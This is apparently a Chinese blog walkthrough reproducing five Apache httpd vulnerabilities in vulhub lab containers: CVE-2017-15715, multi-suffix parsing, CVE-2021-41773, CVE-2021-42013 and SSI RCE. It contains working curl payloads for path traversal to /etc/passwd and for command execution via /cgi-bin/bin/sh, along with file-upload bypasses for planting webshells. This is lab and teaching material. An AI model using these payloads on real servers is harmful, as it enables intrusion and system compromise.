【vulhub靶场】Apache 中间件漏洞复现

【vulhub靶场】Apache 中间件漏洞复现

  • [一、Apache HTTPD 换行解析漏洞(CVE-2017-15715)](#一、Apache HTTPD 换行解析漏洞(CVE-2017-15715))
    • [1. 漏洞详情](#1. 漏洞详情)
    • [2. 影响版本](#2. 影响版本)
    • [3. 漏洞复现](#3. 漏洞复现)
  • 二、Apache多后缀解析漏洞(apache_parsing_vulnerability)
    • [1. 漏洞详情](#1. 漏洞详情)
    • [2. 漏洞复现](#2. 漏洞复现)
  • [三、Apache HTTP Server 2.4.49路径穿越漏洞(CVE-2021-41773)](#三、Apache HTTP Server 2.4.49路径穿越漏洞(CVE-2021-41773))
    • [1. 漏洞详情](#1. 漏洞详情)
    • [2. 影响版本](#2. 影响版本)
    • [3. 漏洞复现](#3. 漏洞复现)
  • [四、Apache HTTP Server 2.4.50 路径穿越漏洞(CVE-2021-42013)](#四、Apache HTTP Server 2.4.50 路径穿越漏洞(CVE-2021-42013))
    • [1. 漏洞详情](#1. 漏洞详情)
    • [2. 影响版本](#2. 影响版本)
    • [3. 漏洞复现](#3. 漏洞复现)
  • [五、Apache SSI 远程命令执行漏洞](#五、Apache SSI 远程命令执行漏洞)
    • [1. 漏洞详情](#1. 漏洞详情)
    • [2. 漏洞复现](#2. 漏洞复现)

一、Apache HTTPD 换行解析漏洞(CVE-2017-15715)

1. 漏洞详情

Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。 其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。1.php\x0A

2. 影响版本

复制代码
Apache  2.4.0~2.4.29

3. 漏洞复现

开启靶机,运行漏洞环境

复制代码
root@Fly:~/vulhub/httpd/CVE-2017-15715# docker-compose up -d
root@Fly:~/vulhub/httpd/CVE-2017-15715# docker-compose build

启动后访问:http://192.168.111.146:8080

上传一个木马文件2.php,可见上传失败。

在1.php后面插入一个(注意,不能是,只能是一个),不再拦截:\x0A\x0D\x0A\x0A,可以看到上传成功!

二、Apache多后缀解析漏洞(apache_parsing_vulnerability)

1. 漏洞详情

Apache HTTPD 支持一个文件拥有多个后缀,并为不同后缀执行不同的指令。在有多个后缀的情况下,只要一个文件含有后缀的文件即将被识别成PHP文件,没必要是最后一个后缀。利用这个特性,将会造成一个可以绕过上传白名单的解析漏洞。

2. 漏洞复现

开启靶机,运行漏洞环境

复制代码
root@Fly:~/vulhub/httpd/apache_parsing_vulnerability# docker-compose up -d

启动后访问:http://192.168.111.146:8080

上传php文件进行抓包,由于设置了白名单,在上传php后缀文件后,会被拦截,无法正常进行上传。

白名单检查文件后缀的上传组件,上传完成后并未重命名。我们可以通过上传文件名为xxx.php.jpg或xxx.php.jpeg的文件,利用Apache解析漏洞进行getshell。

由此可见,上传成功!

三、Apache HTTP Server 2.4.49路径穿越漏洞(CVE-2021-41773)

1. 漏洞详情

Apache HTTP Server 2.4.49 中的路径规范化所做的更改中发现一个缺陷。攻击者可利用路径遍历攻击将 URL 映射到预期文档根目录之外的文件。
如果这些目录之外的文件不受通常的默认配置"require all denied"的保护,则这些请求可能会成功。如果还为这些别名路径启用了 CGI 脚本,则可以允许远程执行代码。

2. 影响版本

复制代码
Apache HTTP Server 2.4.49

3. 漏洞复现

开启靶机,运行漏洞环境

复制代码
root@Fly:~/vulhub/httpd/CVE-2021-41773# docker-compose up -d
root@Fly:~/vulhub/httpd/CVE-2021-41773# docker-compose build

启动后访问:http://192.168.111.146:8080

复制代码
┌──(kali㉿kali)-[~/Desktop]
└─$ curl -v --path-as-is http://192.168.111.146:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

已成功披露:/etc/passwd

在服务器上启用 mods cgi 或 cgid 后,此路径遍历漏洞将允许执行任意命令:

复制代码
┌──(kali㉿kali)-[~/Desktop]
└─$ curl -v --data "echo;id" 'http://192.168.111.146:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'

四、Apache HTTP Server 2.4.50 路径穿越漏洞(CVE-2021-42013)

1. 漏洞详情

CVE-2021-42013 是由 CVE-2021-41773 修复不完整所致的漏洞,攻击者可能使用路径遍历攻击将 URL 映射到类似别名指令配置的目录之外的文件。

2. 影响版本

复制代码
Apache HTTP Server 2.4.49 和 2.4.50

3. 漏洞复现

开启靶机,运行漏洞环境

复制代码
root@Fly:~/vulhub/httpd/CVE-2021-42013# docker-compose build
root@Fly:~/vulhub/httpd/CVE-2021-42013# docker-compose up -d

启动后访问:http://192.168.111.146:8080

Apache HTTP Server 2.4.50 修补了之前的 CVE-2021-41773 有效负载,但不完整。

用于绕过补丁(请注意,必须是现有目录):.%2e替换为.%%32%65

复制代码
─(kali㉿kali)-[~/Desktop]
└─$ curl -v --path-as-is http://192.168.111.146:8080/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd

在服务器上启用 mods cgi 或 cgid 后,此路径遍历漏洞将允许执行任意命令:

复制代码
┌──(kali㉿kali)-[~/Desktop]
└─$ curl -v --data "echo;id" 'http://192.168.111.146:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'

五、Apache SSI 远程命令执行漏洞

1. 漏洞详情

在测试任意文件上传漏洞的时候,目标服务端可能不允许上传php后缀的文件。如果目标服务器开启了SSI与CGI支持,我们可以上传一个shtml文件,并利用语法执行任意命令。

2. 漏洞复现

开启靶机,运行漏洞环境(支持SSI与CGI的Apache服务器)

复制代码
root@Fly:~/vulhub/httpd/ssi-rce# docker-compose build
root@Fly:~/vulhub/httpd/ssi-rce# docker-compose up -d

启动后访问:http://192.168.111.146:8080

正常上传PHP文件是不允许的,我们可以上传一个shell.shtml文件:

成功上传,然后访问shell.shtml,可见命令已成功执行:

相关推荐
梦星辰.21 分钟前
VSCode CUDA C++进行Linux远程开发
linux·c++·vscode
远方160929 分钟前
0x-2-Oracle Linux 9上安装JDK配置环境变量
java·linux·oracle
cui_win35 分钟前
每日一令:Linux 极简通关指南 - 汇总
linux·运维·服务器
知星小度S1 小时前
Linux权限探秘:驾驭权限模型,筑牢系统安全
linux·运维·服务器
黄交大彭于晏1 小时前
发送文件脚本源码版本
java·linux·windows
恰薯条的屑海鸥1 小时前
零基础在实践中学习网络安全-皮卡丘靶场(第十四期-XXE模块)
网络·学习·安全·web安全·渗透测试
搞Linux的杰仔2 小时前
Ubuntu20.04基础配置安装——系统安装(一)
linux·嵌入式开发
Kaede64 小时前
如何应对Linux云服务器磁盘空间不足的情况
linux·运维·服务器
网安INF4 小时前
ElGamal加密算法:离散对数难题的安全基石
java·网络安全·密码学
apocelipes9 小时前
Linux c 运行时获取动态库所在路径
linux·c语言·linux编程